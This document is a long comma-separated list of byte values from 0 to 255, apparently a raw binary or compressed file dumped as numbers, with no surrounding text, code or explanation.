195,82,20,229,34,129,212,120,12,34,106,46,224,195,93,11,82,170,113,0,243,97,224,70,253,176,154,217,35,241,20,116,52,144,136,1,151,47,16,167,93,180,134,82,224,54,48,61,21,72,144,110,170,195,234,73,46,103,121,129,177,48,239,12,71,116,38,54,25,128,172,142,166,117,253,131,14,155,173,183,107,178,115,168,181,45,53,94,31,31,52,147,184,45,226,24,180,165,188,205,222,58,227,252,100,135,37,150,36,99,81,171,127,212,107,105,108,106,159,152,8,53,196,45,93,3,196,94,103,174,131,16,182,155,58,34,177,208,116,251,140,201,72,82,92,16,196,157,93,141,193,120,71,188,123,200,26,233,173,247,12,14,13,17,87,51,36,25,131,51,193,193,218,222,161,185,58,187,109,222,68,172,109,166,182,81,251,232,100,168,121,48,24,153,235,27,139,213,146,24,151,13,142,123,162,254,112,128,88,3,193,80,148,55,214,209,156,156,143,250,48,212,194,41,66,203,45,158,112,216,235,241,77,18,95,186,96,143,250,121,238,4,199,231,227,195,200,195,123,62,28,136,6,193,153,41,204,159,32,1,77,97,91,113,126,48,188,224,171,244,8,121,167,199,198,192,137,220,13,55,2,226,133,145,78,98,248,165,2,81,14,193,192,35,158,120,60,12,25,42,122,149,14,185,47,22,137,128,237,93,161,104,32,173,56,147,126,36,121,239,100,17,66,209,241,0,232,108,167,221,77,146,65,46,171,246,97,56,128,198,214,176,7,162,49,16,157,9,37,98,81,220,138,137,111,58,145,128,187,45,148,8,224,208,205,67,16,102,146,192,116,123,217,9,33,31,104,156,126,194,77,45,30,73,231,150,126,158,12,5,218,81,240,48,164,255,1,191,9,146,210,228,100,42,22,39,174,80,10,248,187,67,73,95,166,210,12,179,2,92,29,159,78,97,161,119,58,197,151,236,137,4,4,212,166,77,92,4,27,231,26,140,248,106,220,105,90,131,102,134,157,213,225,244,245,207,251,76,61,132,203,43,201,100,171,167,103,36,58,57,21,177,77,57,218,18,237,209,212,40,105,9,91,236,225,241,201,201,88,75,99,199,60,29,185,136,63,69,104,6,204,197,56,237,123,107,40,16,230,74,45,222,176,37,213,83,223,224,54,70,38,7,234,251,187,221,163,36,212,48,109,30,112,213,38,108,161,250,68,104,202,98,54,15,145,24,25,107,26,117,6,2,241,102,243,0,68,83,50,16,241,134,231,73,103,204,237,60,57,52,55,96,157,37,206,89,191,107,218,21,76,198,76,164,211,225,116,205,54,181,197,252,17,146,172,111,117,121,135,7,93,78,47,44,198,94,87,231,192,144,47,209,74,156,3,205,45,137,249,120,42,198,31,156,192,181,51,33,63,196,15,63,243,96,13,154,134,81,158,175,225,184,130,9,79,124,124,158,156,60,234,115,197,59,204,205,238,6,98,11,209,121,9,11,200,1,115,90,168,37,22,230,167,107,178,166,45,16,133,48,241,17,187,183,221,229,52,218,130,221,33,210,59,60,227,114,249,7,29,109,14,226,143,91,92,169,182,186,161,169,70,226,119,119,186,204,190,97,119,125,132,248,189,110,151,47,57,213,228,50,19,187,213,225,234,115,183,77,118,205,145,185,120,147,203,214,88,103,107,11,144,228,96,151,107,32,49,61,7,166,244,4,198,93,225,152,197,227,11,147,212,100,210,213,52,214,219,212,52,64,6,98,176,146,64,40,195,65,114,181,77,100,200,101,116,77,37,219,173,181,205,196,101,50,185,70,19,3,125,214,32,46,79,144,79,133,2,131,174,160,111,210,108,159,33,45,51,189,46,203,252,136,13,210,190,142,96,151,107,196,235,24,131,137,58,29,234,114,13,213,214,167,156,179,164,223,216,235,114,119,250,226,110,35,73,186,195,46,107,167,173,213,219,69,82,237,94,215,132,109,196,217,56,66,134,102,71,93,195,254,89,87,123,55,25,11,37,96,213,157,142,250,99,48,189,166,76,157,46,79,67,160,110,198,74,218,61,201,241,148,199,11,1,52,103,114,185,140,225,177,174,145,8,153,107,237,115,69,135,6,38,235,192,191,189,94,87,87,116,44,25,76,16,223,64,208,213,49,220,225,232,10,16,123,171,195,213,219,226,113,185,39,201,236,164,217,53,15,25,180,187,11,162,221,227,242,15,13,123,131,94,186,27,65,156,181,38,98,17,126,210,240,231,92,164,242,148,96,32,181,63,19,63,124,117,123,32,28,135,13,132,96,38,25,242,132,97,86,209,196,146,112,144,103,162,17,203,43,73,130,146,193,100,160,219,227,27,135,133,163,51,48,63,0,147,27,200,238,4,134,126,227,76,196,102,153,129,224,180,59,251,34,195,206,97,51,49,208,149,2,28,13,22,226,22,148,132,147,126,124,158,180,213,182,57,109,30,227,212,76,138,214,195,62,17,108,27,112,14,184,189,211,45,227,196,211,103,113,134,123,186,231,34,131,196,53,213,231,108,114,38,122,172,61,196,51,209,226,156,234,9,78,197,154,73,123,251,148,115,52,98,155,152,132,115,85,189,207,25,156,236,137,76,205,194,200,71,96,226,66,240,53,135,131,49,8,226,241,8,105,134,8,128,19,2,76,116,110,223,114,68,97,21,138,250,2,252,81,158,239,211,138,103,11,78,216,155,83,184,109,58,67,19,81,191,39,16,238,246,68,61,193,128,159,140,155,235,157,150,102,111,111,108,146,244,164,140,206,145,224,160,41,208,71,186,109,245,107,79,41,28,234,101,83,240,129,3,44,164,72,36,17,243,172,115,168,182,167,103,198,132,91,118,192,19,73,155,224,232,165,73,2,105,237,107,116,186,107,61,117,221,243,196,149,240,68,147,184,76,90,33,175,152,36,73,72,212,173,163,51,225,246,33,126,147,71,126,104,12,7,23,183,80,94,31,14,83,95,44,25,162,75,43,178,240,235,117,231,204,184,115,120,188,167,181,203,78,250,60,9,216,6,96,3,166,107,145,109,30,246,243,144,143,91,167,86,239,195,53,246,72,40,69,28,93,116,122,83,135,118,199,32,100,98,153,133,131,91,153,209,107,246,40,110,234,48,220,224,182,208,88,32,153,130,149,56,54,157,240,165,77,67,75,187,184,205,13,13,227,131,34,28,75,226,42,137,89,17,207,7,27,28,106,161,193,151,196,206,162,118,110,159,1,62,47,111,55,106,3,163,61,126,79,202,227,130,237,52,74,41,14,124,238,67,171,184,197,26,244,240,11,83,115,34,56,141,251,19,166,78,201,88,120,38,192,247,152,74,37,185,179,21,69,104,187,116,237,206,60,209,225,98,40,131,66,162,72,31,113,208,156,41,237,204,36,21,182,5,124,97,15,166,94,84,1,167,123,249,113,72,183,103,50,96,133,129,27,203,212,102,196,41,5,244,101,123,186,55,222,18,243,7,248,27,100,98,126,200,252,246,27,9,29,17,14,49,241,119,51,127,175,229,239,3,196,5,71,97,204,57,72,75,26,192,14,157,130,190,195,6,109,74,56,61,147,238,182,126,11,25,183,154,156,198,168,215,86,7,105,98,235,156,179,43,233,234,138,217,72,160,174,222,217,59,221,219,59,59,13,65,24,194,8,166,25,27,193,69,6,67,13,114,103,46,189,180,71,125,49,58,244,233,88,192,60,6,187,53,24,13,249,208,116,232,16,207,26,30,76,57,231,3,238,80,202,65,172,150,57,167,223,62,151,232,237,37,51,77,110,231,220,196,100,103,131,27,124,147,72,142,123,194,43,231,164,3,131,42,22,207,60,238,195,240,226,6,174,127,190,203,217,108,25,154,112,141,193,206,10,67,109,159,131,93,128,27,133,174,24,151,238,32,55,77,121,210,171,31,69,144,3,61,74,19,207,76,170,236,12,196,195,30,95,32,189,160,242,249,48,172,145,144,196,166,11,52,240,218,210,163,127,114,157,203,217,102,14,213,14,246,103,167,215,36,216,58,235,76,214,215,91,39,18,36,21,238,112,218,123,130,147,81,59,250,16,108,66,225,116,24,181,198,18,173,211,81,58,201,250,98,33,58,119,186,227,9,103,93,99,231,76,125,51,228,210,227,206,193,232,224,56,100,207,179,113,167,179,187,189,109,96,182,149,204,53,39,156,99,253,237,163,109,48,146,222,102,103,123,100,160,19,115,248,249,62,103,108,192,104,234,107,39,254,104,131,51,98,238,117,227,104,129,83,248,25,133,197,110,28,15,44,52,251,104,42,73,171,225,200,0,89,171,45,148,140,199,146,116,111,226,138,16,115,163,181,206,150,120,173,207,221,71,224,128,224,76,116,91,131,129,126,112,22,183,61,116,36,219,157,141,67,33,71,183,139,240,43,224,242,226,3,59,3,189,59,134,50,211,198,71,121,18,196,193,49,103,22,182,28,97,106,31,61,59,145,84,253,176,211,52,239,183,70,195,100,208,87,235,28,175,29,232,31,237,39,51,237,245,206,214,192,68,180,206,2,25,120,194,25,26,237,245,251,146,100,164,187,221,89,159,112,56,19,22,50,51,219,234,236,113,121,103,103,250,73,231,236,168,115,38,218,221,219,214,70,188,201,57,103,67,176,187,221,219,77,162,182,62,103,191,37,220,1,11,113,200,230,114,214,218,103,7,157,126,160,14,55,250,90,251,194,142,70,255,116,243,112,159,119,60,65,66,33,151,47,218,144,172,235,107,30,15,206,152,231,90,103,187,201,96,116,22,82,34,210,21,153,240,143,118,245,215,53,117,183,187,18,93,253,109,243,102,146,50,119,57,130,115,227,77,254,112,93,173,51,57,145,240,135,201,228,96,34,82,23,152,237,31,128,212,167,171,125,100,212,237,34,39,187,167,35,166,240,144,177,115,198,217,24,9,79,4,123,231,49,96,83,164,35,213,151,52,123,38,60,99,77,29,169,81,155,115,54,200,197,39,204,211,233,68,148,6,98,178,175,117,220,232,173,243,132,251,27,26,39,123,194,22,91,31,233,237,15,218,130,14,99,123,219,100,194,231,77,245,59,204,83,4,146,212,129,128,177,165,207,100,52,187,26,167,231,58,194,112,102,138,78,69,219,187,59,253,161,238,166,176,169,190,174,214,219,68,102,27,76,157,115,198,152,113,116,222,211,50,237,240,120,6,162,36,209,211,220,52,58,101,54,5,198,187,58,234,204,201,164,165,150,76,217,199,134,251,58,163,157,169,214,72,171,215,212,58,228,238,38,73,95,204,102,25,115,118,206,77,14,155,83,97,99,107,123,31,137,197,247,219,167,224,220,11,73,35,233,28,76,69,186,235,77,35,173,77,115,93,78,151,35,213,23,34,115,29,166,129,225,17,119,204,51,100,25,136,79,219,235,236,99,100,194,218,224,152,48,199,97,40,106,167,67,35,117,147,193,97,18,109,152,118,59,71,188,195,182,198,225,201,249,72,42,48,220,68,92,100,108,52,232,154,107,239,244,247,79,242,33,4,235,12,31,66,174,88,206,2,4,139,109,50,153,26,15,37,241,80,19,135,163,10,204,207,49,186,83,68,97,1,152,1,193,20,204,72,174,140,39,135,222,49,186,162,58,93,157,96,100,221,140,41,76,32,153,113,53,123,77,13,115,126,146,178,132,93,99,246,186,186,198,65,226,12,166,92,131,29,190,249,209,46,210,60,17,113,181,57,26,234,134,27,201,120,44,234,74,166,66,230,241,48,153,157,240,184,236,86,75,95,184,133,238,101,220,30,235,15,246,184,234,18,198,137,126,56,28,242,251,79,56,78,151,156,112,156,14,101,56,158,62,188,249,103,233,65,102,140,123,106,64,23,43,202,49,22,238,227,143,124,225,184,53,235,176,151,68,110,80,54,141,251,95,239,152,53,251,164,55,22,238,9,204,46,139,141,133,123,195,254,52,234,159,133,19,18,156,196,252,252,172,247,58,178,79,115,80,189,124,196,138,167,18,100,6,23,182,253,251,73,143,173,223,213,94,111,139,141,155,136,59,49,132,9,222,201,77,214,174,206,217,21,71,164,90,83,195,170,99,83,109,173,105,77,154,121,21,109,108,13,190,177,213,124,245,230,213,124,77,117,171,104,245,190,181,104,245,64,235,155,136,135,187,234,235,39,77,100,46,216,95,235,168,235,237,232,35,241,41,72,200,92,181,129,6,50,217,208,231,31,105,106,238,234,38,147,246,225,230,248,148,167,167,147,68,231,6,2,173,141,189,117,117,36,232,154,158,159,115,78,192,48,71,147,45,67,253,198,30,115,47,113,141,181,140,181,154,253,173,45,196,49,212,18,26,53,155,157,211,164,125,52,53,231,155,245,207,15,16,223,164,45,218,59,63,209,219,76,28,211,161,73,235,96,163,41,70,156,125,225,137,201,102,199,68,3,233,51,58,218,236,161,228,196,52,73,78,79,181,78,207,205,250,220,36,24,234,156,13,181,197,166,67,196,49,102,180,37,108,13,193,25,210,222,19,233,235,28,11,186,61,116,235,230,146,135,144,47,17,75,198,198,82,53,67,161,36,204,59,8,15,204,88,218,173,157,198,164,201,225,128,108,165,115,170,111,106,112,54,68,82,198,70,71,219,68,95,127,146,116,118,133,226,238,72,99,100,148,244,205,212,6,91,122,59,218,198,201,80,135,187,35,224,152,135,115,84,180,193,106,106,24,176,215,78,166,15,218,233,205,215,22,242,4,163,49,8,117,88,96,219,166,234,236,109,169,177,198,62,50,235,110,177,12,56,166,235,251,136,125,122,222,215,26,12,15,207,240,143,255,6,226,176,10,244,198,185,67,87,127,255,192,168,195,25,177,207,146,225,222,126,207,96,172,103,210,70,166,77,3,39,219,18,205,115,237,196,209,103,105,111,31,174,53,6,198,200,84,131,171,61,92,215,234,106,24,36,131,77,93,237,254,232,64,172,173,157,204,143,180,182,55,15,38,199,163,252,70,13,91,20,166,108,193,192,92,118,150,1,25,106,112,26,50,45,251,92,28,231,7,109,120,96,218,155,228,150,5,88,37,240,161,23,61,247,12,180,128,111,184,185,143,153,111,50,192,231,105,99,30,124,248,66,211,11,15,255,248,13,60,109,229,82,4,87,140,155,209,200,74,39,42,37,192,97,197,202,61,116,161,41,57,119,158,225,30,155,129,13,214,121,152,68,157,33,200,182,168,59,210,105,102,38,213,75,103,197,252,202,144,126,35,147,79,247,2,203,143,92,8,62,26,164,7,143,21,249,193,50,7,154,10,29,165,137,89,148,51,30,252,4,121,41,161,121,242,138,183,53,131,53,9,62,19,135,209,73,116,250,205,190,176,35,213,61,56,211,54,17,155,74,14,215,76,197,252,243,41,99,164,181,59,48,220,53,48,54,96,172,141,19,143,179,54,234,29,179,248,251,227,230,177,64,87,100,178,214,84,19,30,24,11,54,199,61,169,73,255,92,114,200,215,230,75,76,166,98,173,254,44,205,248,22,117,222,9,228,36,98,196,223,135,36,196,131,119,35,201,134,166,12,76,211,76,89,244,220,250,108,126,227,42,62,188,200,151,231,141,43,136,198,53,149,45,211,86,170,88,223,36,99,142,150,213,252,92,233,212,117,91,88,187,197,220,78,175,228,199,251,169,235,72,24,51,229,181,109,90,109,243,74,153,181,60,180,218,185,217,250,214,210,191,118,251,217,131,124,234,10,13,203,125,206,182,104,237,30,172,237,147,181,2,195,184,138,243,255,180,199,142,236,193,213,241,114,100,59,115,123,184,86,255,150,41,255,246,232,255,95,61,176,114,69,250,119,76,253,235,60,186,236,129,92,141,43,45,88,221,131,236,30,174,207,149,173,47,183,135,43,249,115,235,87,143,213,218,177,176,210,35,43,229,140,171,122,120,36,159,174,213,163,181,199,196,184,170,126,181,166,181,199,252,179,122,52,215,190,149,94,252,108,49,185,126,127,215,158,5,255,223,244,208,103,155,101,217,154,78,37,71,178,115,101,223,143,52,6,71,234,225,106,223,174,182,124,117,143,77,235,234,59,210,44,200,238,201,145,60,178,114,68,87,70,197,90,49,183,90,38,237,193,213,243,254,255,121,179,228,31,89,121,179,53,159,74,136,16,174,197,111,12,144,121,146,36,41,18,32,17,82,67,90,72,140,36,160,188,131,24,200,16,220,19,80,23,2,90,148,28,79,106,161,190,30,46,35,189,144,163,133,76,147,48,200,78,83,153,227,129,43,0,229,20,96,30,160,35,71,31,224,94,40,135,136,143,116,66,237,60,113,129,182,73,40,161,70,47,105,132,127,30,208,234,131,171,1,204,106,130,86,234,160,214,72,44,80,38,147,185,214,13,192,221,71,91,131,3,50,212,160,189,9,184,199,1,139,145,32,109,55,78,198,105,77,51,240,38,115,234,7,104,127,102,168,45,1,176,44,1,52,196,252,148,78,58,251,1,118,2,102,134,250,48,113,128,76,55,25,4,142,54,50,1,156,83,160,109,24,244,78,65,217,15,58,83,96,99,132,180,2,79,0,232,93,160,125,12,46,35,216,31,39,164,246,148,204,64,155,200,78,208,152,254,183,51,51,12,77,180,156,254,119,218,63,44,99,254,20,153,250,204,96,239,204,10,42,144,57,182,13,44,78,17,27,192,48,92,65,240,25,250,183,149,142,124,43,120,55,10,253,79,241,163,222,7,48,4,247,20,231,35,118,12,48,148,218,69,142,161,255,8,219,5,28,62,170,131,147,32,121,173,84,194,143,159,4,215,56,233,40,196,232,152,161,215,155,65,98,8,234,19,52,106,48,74,128,43,175,25,238,97,170,135,228,15,243,163,27,192,26,150,27,37,31,213,146,68,74,126,55,141,133,24,29,87,82,192,213,167,104,92,164,64,83,47,120,31,99,203,144,169,75,203,146,252,22,218,70,146,211,156,223,14,173,163,149,216,27,82,48,73,251,23,165,62,193,218,90,240,97,13,173,13,127,166,145,201,246,242,103,29,205,108,153,79,27,77,243,63,209,206,90,50,159,214,78,237,63,209,206,90,50,159,214,78,221,63,209,206,90,50,255,204,44,248,180,118,214,146,161,237,192,235,238,163,239,58,241,254,235,255,214,123,209,203,15,156,241,226,161,165,38,252,241,68,238,155,1,178,59,78,62,113,168,172,238,165,115,69,6,134,145,85,225,239,189,184,4,37,195,9,79,188,39,22,205,124,120,202,53,158,136,205,38,25,161,129,48,66,73,165,74,32,81,9,37,106,37,92,133,112,21,193,165,133,75,7,151,1,174,77,112,85,195,181,3,46,35,92,50,49,97,152,74,149,136,48,42,149,84,42,86,201,100,2,149,92,42,81,85,138,177,196,28,5,213,218,66,149,132,8,180,112,147,22,50,130,42,162,82,137,164,76,21,129,18,144,25,224,172,150,234,101,50,214,194,214,169,64,188,82,134,47,129,76,38,161,5,212,35,19,84,234,224,159,88,38,144,104,37,6,129,14,16,252,99,182,98,169,64,6,45,43,24,181,1,65,53,130,34,4,133,8,148,8,140,8,118,32,208,34,208,33,216,4,178,2,17,33,106,153,132,8,117,240,130,155,64,167,213,65,23,116,58,177,65,192,232,180,224,46,153,86,102,16,170,187,181,234,126,160,49,50,117,55,52,44,208,86,202,20,6,17,80,43,101,28,93,160,238,150,25,196,192,11,47,165,65,10,53,88,130,58,133,65,44,208,162,241,133,50,21,71,167,101,168,145,130,30,40,116,115,28,133,178,101,14,90,6,14,185,65,8,28,200,3,214,128,110,57,109,18,107,88,131,66,160,82,105,181,2,185,86,85,200,90,10,217,186,98,131,82,221,157,75,2,190,60,212,192,33,221,2,137,28,70,85,44,168,130,145,99,247,194,136,141,192,213,14,157,101,100,249,82,137,122,159,76,237,169,84,7,100,234,0,186,164,29,3,69,71,123,174,227,122,200,168,187,129,63,4,42,228,2,137,0,138,17,169,164,88,61,5,227,35,144,64,76,84,194,77,6,212,105,129,68,1,55,63,92,167,193,149,130,107,14,174,83,69,18,245,226,34,130,51,17,156,35,37,140,122,31,187,120,80,100,32,234,144,28,70,95,189,120,46,187,120,62,90,35,144,16,166,82,92,41,46,151,22,87,202,43,197,114,121,158,28,92,41,95,126,85,138,197,200,33,87,18,49,138,201,240,146,229,67,176,23,210,106,169,188,82,46,38,2,40,136,161,35,139,95,23,75,129,235,235,82,34,80,47,94,173,82,73,12,84,185,146,136,128,250,61,245,226,45,160,78,40,101,100,82,131,144,134,152,130,171,160,69,24,80,188,195,37,39,34,185,92,166,80,47,222,38,145,138,208,22,49,216,189,120,11,58,73,1,211,69,142,127,99,27,122,211,45,173,85,239,227,156,2,172,156,44,48,131,245,248,95,46,83,199,49,144,169,147,193,109,232,239,197,187,0,7,215,47,222,163,94,124,64,166,203,238,166,28,157,161,227,125,12,102,67,123,104,61,222,161,73,133,24,59,34,195,129,169,20,67,40,49,26,162,97,100,64,83,7,216,197,39,129,1,69,52,64,69,15,143,128,185,208,12,68,131,218,129,237,193,127,224,16,96,213,62,57,58,230,25,245,62,181,135,134,188,78,130,172,139,119,41,13,98,70,69,57,213,251,4,180,183,15,136,36,236,226,11,104,1,220,176,69,184,201,100,220,93,237,145,162,129,160,6,140,6,203,165,96,20,180,160,162,3,165,162,227,240,42,120,152,46,6,48,235,100,50,218,168,86,189,79,42,21,160,61,16,105,224,14,21,218,37,101,112,2,10,84,180,205,119,192,38,21,29,52,245,226,95,113,109,209,130,50,88,65,96,29,17,2,148,3,183,22,8,192,34,37,34,173,22,156,166,32,48,11,181,224,246,66,45,240,64,133,74,70,68,56,47,11,113,150,107,97,20,64,139,76,11,70,104,243,164,48,29,212,139,127,147,41,32,124,12,34,70,197,46,126,204,30,100,216,131,98,106,240,45,82,52,158,142,50,169,20,231,75,69,80,132,64,82,31,204,135,0,4,227,14,178,74,131,16,71,3,74,236,193,98,232,30,14,136,76,42,197,110,66,9,162,83,7,35,42,3,63,232,192,70,70,167,192,150,161,8,145,175,147,34,1,221,73,96,197,81,239,131,122,88,127,0,66,223,248,170,243,97,228,79,132,241,3,75,117,26,169,20,85,226,63,245,226,163,156,17,116,252,209,193,208,26,3,177,42,145,107,193,1,218,66,185,202,0,11,6,95,230,150,25,57,20,186,193,12,45,148,213,221,220,116,214,170,187,113,34,222,38,49,80,71,66,172,131,144,138,19,224,60,153,103,144,0,9,10,220,42,150,246,42,183,70,113,101,78,189,12,10,176,250,241,94,86,82,49,89,102,141,163,235,23,182,2,174,167,173,192,29,106,48,152,46,67,112,37,130,171,16,92,135,224,6,4,55,33,184,25,237,187,21,87,96,244,150,76,135,8,80,238,132,144,16,130,91,137,16,32,160,72,187,27,195,68,167,3,26,64,64,145,118,63,180,137,195,15,83,23,111,64,64,234,67,72,5,105,164,234,112,150,62,132,212,159,131,60,238,88,68,8,16,80,164,61,65,3,240,85,25,12,215,226,171,128,34,237,144,4,219,129,174,99,67,56,22,135,144,250,52,198,62,46,102,10,136,106,188,3,9,233,207,99,80,211,40,207,35,66,174,0,68,172,121,145,238,36,251,96,22,200,144,246,34,210,94,2,154,170,16,103,6,64,64,145,246,10,244,94,14,161,45,144,171,16,1,202,235,114,67,122,173,84,18,33,95,2,50,214,189,41,193,73,164,131,30,11,241,6,4,164,190,45,187,121,207,254,211,217,103,20,187,96,199,210,233,84,236,193,178,74,93,62,17,167,139,192,129,108,239,162,163,101,232,104,25,34,64,249,0,22,53,40,127,128,229,143,64,181,132,174,131,184,133,0,245,35,160,30,36,184,72,100,86,224,2,34,89,70,160,18,57,68,208,29,228,63,40,66,76,134,109,200,177,13,57,34,64,81,226,204,62,88,41,195,69,8,110,64,64,106,33,157,2,112,71,164,8,132,112,122,195,36,71,4,40,90,133,65,88,9,254,7,251,55,228,19,81,186,8,21,88,171,67,47,236,211,161,169,120,3,2,82,13,18,186,52,234,160,33,188,1,1,169,155,144,215,193,241,58,144,119,19,82,171,229,134,244,146,168,164,3,135,37,32,99,221,14,136,31,88,36,65,143,8,111,64,64,170,17,198,78,29,210,225,170,22,2,154,17,105,117,72,27,161,180,17,160,213,65,55,132,50,92,171,104,110,1,193,6,101,136,54,28,117,186,161,201,184,181,83,133,98,30,21,108,67,233,1,194,85,3,214,46,234,127,186,158,202,144,130,91,14,245,156,65,80,169,162,253,71,193,125,50,186,210,7,176,236,144,137,240,59,144,139,183,50,164,111,241,123,171,191,56,86,179,250,235,101,219,87,127,113,108,251,90,95,23,59,225,4,254,157,82,238,195,142,59,12,233,239,72,238,48,12,5,18,248,102,233,241,248,39,32,224,223,14,67,203,116,56,53,157,8,28,31,13,76,167,18,158,240,14,67,223,180,55,28,242,117,6,230,233,135,234,142,247,54,54,122,234,125,245,13,166,166,218,186,128,209,210,180,111,223,9,251,8,102,174,220,111,7,211,253,230,96,211,226,151,56,2,67,6,6,147,71,254,4,87,13,255,78,229,191,212,42,41,175,148,126,169,246,86,184,126,241,216,91,247,162,123,47,130,43,156,249,80,35,255,86,101,166,196,125,132,114,45,75,234,254,89,75,54,174,110,140,243,67,230,195,144,188,149,252,171,175,217,134,255,209,102,45,24,108,83,239,44,40,221,112,98,221,78,219,183,171,143,189,187,79,29,180,20,189,99,109,248,94,177,167,81,212,245,246,123,145,155,254,90,122,254,240,220,207,219,158,63,38,250,154,246,204,142,238,193,15,111,154,154,124,236,170,227,39,94,60,67,210,249,204,101,223,158,188,230,145,139,143,235,174,57,110,79,100,251,99,177,191,234,246,159,242,226,57,33,245,175,254,235,204,239,13,236,122,172,102,252,175,207,137,31,120,70,123,154,241,232,151,182,234,254,115,115,234,210,150,103,254,220,112,183,247,10,193,7,175,92,191,247,210,165,75,147,109,251,236,127,141,86,190,247,155,188,139,63,112,94,48,120,241,249,191,190,58,241,156,255,84,221,127,133,95,125,235,209,131,143,6,107,95,88,250,222,251,227,111,254,82,125,175,226,129,177,218,43,21,183,25,251,22,126,182,125,107,241,46,131,114,118,234,193,190,247,70,154,234,255,124,70,227,105,167,29,120,239,169,179,244,207,125,148,252,93,176,182,188,127,239,233,205,130,196,207,238,60,230,162,47,92,172,188,242,71,175,111,145,77,223,57,119,65,254,13,169,138,199,157,215,218,203,229,215,44,61,124,106,227,197,239,61,121,239,85,91,95,255,139,240,156,202,221,87,238,62,246,152,115,84,123,247,245,84,14,159,118,236,84,229,117,127,125,235,213,71,159,251,202,217,247,22,127,254,49,253,167,163,235,179,142,41,254,177,18,252,17,237,177,244,199,40,18,158,217,80,52,88,227,240,197,162,59,12,185,196,127,198,44,99,237,88,253,88,227,152,201,228,175,55,122,106,61,19,153,79,188,251,3,182,88,164,134,251,112,236,242,55,55,210,77,254,11,60,16,225,155,106,11,199,188,248,97,113,250,129,165,26,94,11,126,42,242,95,234,239,149,254,195,79,96,252,31,240,159,228,137,115,191,248,59,223,133,95,179,78,92,113,121,203,109,55,220,222,191,125,215,157,230,91,95,120,173,242,154,1,81,69,255,15,85,95,173,188,188,244,245,211,206,170,189,219,154,162,191,168,140,223,117,199,191,97,131,191,88,125,54,92,215,19,238,111,141,224,95,5,54,64,96,54,195,53,6,215,241,16,3,134,77,36,69,198,129,53,73,31,61,70,233,195,69,124,124,217,70,31,81,113,63,136,189,37,155,201,69,159,64,206,147,46,128,9,18,36,1,226,32,62,250,84,12,67,171,40,155,53,93,129,177,166,205,174,224,158,167,225,243,40,63,249,169,28,50,211,236,74,27,109,96,54,99,193,207,128,97,71,156,62,231,10,210,103,176,248,164,203,74,91,55,1,123,55,125,86,25,34,248,212,142,123,150,251,8,8,28,181,186,57,15,125,68,123,50,220,189,244,129,152,95,177,162,225,46,250,180,44,72,159,217,97,191,198,86,50,164,45,26,160,122,2,228,217,194,21,14,76,251,166,29,42,67,160,99,28,234,78,102,193,129,235,155,159,237,138,211,129,85,192,8,200,94,250,35,10,159,192,139,225,87,95,37,250,182,255,95,30,89,244,167,47,52,107,172,2,216,156,12,11,54,79,202,67,11,24,219,82,145,96,37,51,146,5,252,47,64,200,233,31,177,255,8,204,94,143,75,60,27,242,167,198,37,227,129,80,112,60,133,231,183,236,29,166,0,197,239,149,113,127,151,9,127,100,195,192,209,111,144,113,127,210,24,127,132,3,73,123,233,254,205,61,144,90,20,145,53,95,103,158,113,38,121,248,167,15,163,15,201,61,107,179,252,251,245,239,215,191,95,255,126,173,122,49,71,126,17,70,112,164,23,214,51,194,117,95,255,174,255,119,253,167,215,175,255,18,124,150,248,19,173,126,45,71,247,218,245,2,1,225,254,255,147,245,153,215,103,176,239,83,230,215,231,125,97,222,244,185,149,252,147,237,226,43,15,252,196,52,175,157,194,57,254,101,39,29,154,186,233,63,229,100,133,60,210,244,119,37,184,100,235,0,28,255,4,144,127,174,52,143,62,228,49,124,218,241,9,255,156,165,220,199,227,54,101,100,127,136,126,117,191,55,26,158,207,195,111,182,120,56,54,25,254,80,0,22,164,209,233,8,222,149,126,79,42,224,130,147,40,173,245,121,194,129,168,223,147,144,68,246,227,111,52,40,34,251,241,203,145,248,149,72,54,178,127,58,25,24,76,6,18,189,51,129,68,34,228,15,16,66,231,5,131,207,114,214,49,111,185,221,202,53,25,92,188,49,155,215,172,229,190,170,210,74,191,230,143,92,71,175,201,101,227,237,95,230,91,187,173,22,190,107,50,6,255,122,40,35,207,228,197,114,156,130,10,133,4,255,128,40,161,127,27,70,36,88,223,227,203,93,162,178,144,68,215,154,187,90,28,54,41,239,123,222,115,4,159,233,97,67,120,201,81,181,8,249,143,236,6,252,27,241,5,145,253,225,80,50,53,16,128,102,240,43,156,57,35,201,250,166,147,169,88,132,31,118,252,158,65,30,52,103,91,119,136,242,35,251,57,3,61,209,160,195,198,253,17,16,70,198,200,36,216,18,179,131,81,208,238,162,137,116,29,250,108,195,176,1,56,11,163,148,216,150,136,77,199,241,8,145,84,115,191,217,224,155,95,38,177,241,64,194,23,136,166,150,41,202,56,253,90,49,126,145,42,24,85,70,241,59,140,60,82,194,233,179,5,124,161,136,39,156,233,124,81,118,51,105,98,73,110,83,105,178,54,77,94,169,68,149,174,24,152,143,120,99,97,181,39,154,12,181,228,144,228,81,79,148,43,149,164,45,132,142,134,162,161,20,207,80,146,182,53,151,92,202,247,112,101,139,197,57,61,79,83,243,121,42,39,171,2,172,59,20,14,7,56,84,201,125,195,204,22,10,134,82,201,172,105,167,201,113,12,87,93,188,162,167,28,181,52,77,237,227,187,208,231,73,165,2,137,104,134,222,195,247,129,167,23,115,154,87,80,75,120,35,87,40,73,147,87,112,23,229,58,128,51,132,245,227,141,126,149,38,148,154,198,16,82,100,69,240,170,24,45,134,85,48,228,135,240,162,95,173,105,78,114,225,86,186,130,154,30,48,169,84,186,98,87,146,228,174,245,178,236,23,214,203,241,39,35,229,120,40,165,37,9,46,148,204,118,9,253,179,192,59,37,248,151,224,152,26,73,62,157,15,18,21,119,43,224,136,248,27,146,130,7,175,83,72,240,143,214,11,123,60,61,18,252,21,73,89,58,6,36,248,215,224,228,59,211,168,28,85,201,81,145,4,207,196,204,102,9,254,69,56,225,239,23,111,150,107,121,219,210,199,241,244,43,123,71,21,240,56,238,194,5,82,30,193,183,82,73,129,44,27,99,81,25,246,65,82,134,100,163,164,28,111,38,9,254,34,36,99,150,224,95,154,99,106,37,149,120,171,147,224,175,98,50,245,18,61,222,26,36,6,188,53,74,112,254,50,22,9,254,49,62,166,41,175,229,255,214,39,26,71,124,252,32,227,175,60,89,31,117,16,255,149,42,254,139,84,115,215,77,60,55,116,199,35,175,255,38,110,216,244,151,95,220,243,192,15,10,78,253,235,182,135,191,216,166,105,53,222,192,252,71,235,199,207,95,182,24,250,193,251,182,47,223,114,194,39,159,220,251,220,137,231,30,197,94,56,121,201,212,101,31,95,208,50,255,237,13,178,91,29,222,205,85,239,237,253,209,222,251,251,71,79,218,114,227,35,183,191,177,175,240,152,103,7,138,108,130,131,175,93,253,252,207,255,254,171,63,188,246,228,239,54,60,43,109,252,233,23,243,